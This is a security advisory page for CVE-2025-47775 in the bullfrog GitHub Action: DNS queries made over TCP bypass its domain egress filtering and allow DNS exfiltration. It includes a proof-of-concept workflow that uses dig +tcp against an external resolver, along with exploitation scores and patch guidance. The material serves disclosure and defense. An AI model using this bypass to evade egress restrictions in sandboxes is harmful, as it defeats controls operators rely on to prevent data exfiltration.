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MEDIUM severity

GHSA-m32f-fjw2-37v3 — bullfrogsec/bullfrog

MEDIUMFix: bullfrogsec/bullfrog@ae7744a

GHSA-m32f-fjw2-37v3 is a medium-severity (CVSS 6.2) CWE-201 vulnerability in bullfrogsec/bullfrog. A fix is available for bullfrogsec/bullfrog — see the affected versions and patch details below.

Bullfrog's DNS over TCP bypasses domain filtering

Also known asCVE-2025-47775
Published
May 15, 2025
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-m32f-fjw2-37v3.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-m32f-fjw2-37v3 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
📦bullfrogsec/bullfrog

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Using tcp breaks blocking and allows DNS exfiltration.

PoC

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

Impact

sandbox bypass

image

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦GitHub Actionsbullfrogsec/bullfrogall versions0.8.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bullfrogsec/bullfrog, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update bullfrogsec/bullfrog to 0.8.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m32f-fjw2-37v3 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-m32f-fjw2-37v3 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-m32f-fjw2-37v3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Using tcp breaks blocking and allows DNS exfiltration. ### PoC ``` name: test on: push: branches: - "*" jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: |
O3 Security · Impact-Aware SCA

Is GHSA-m32f-fjw2-37v3 in your dependencies?

O3 Security finds GHSA-m32f-fjw2-37v3 across GitHub Actions dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-m32f-fjw2-37v3: bullfrogsec/bullfrog | O3 Security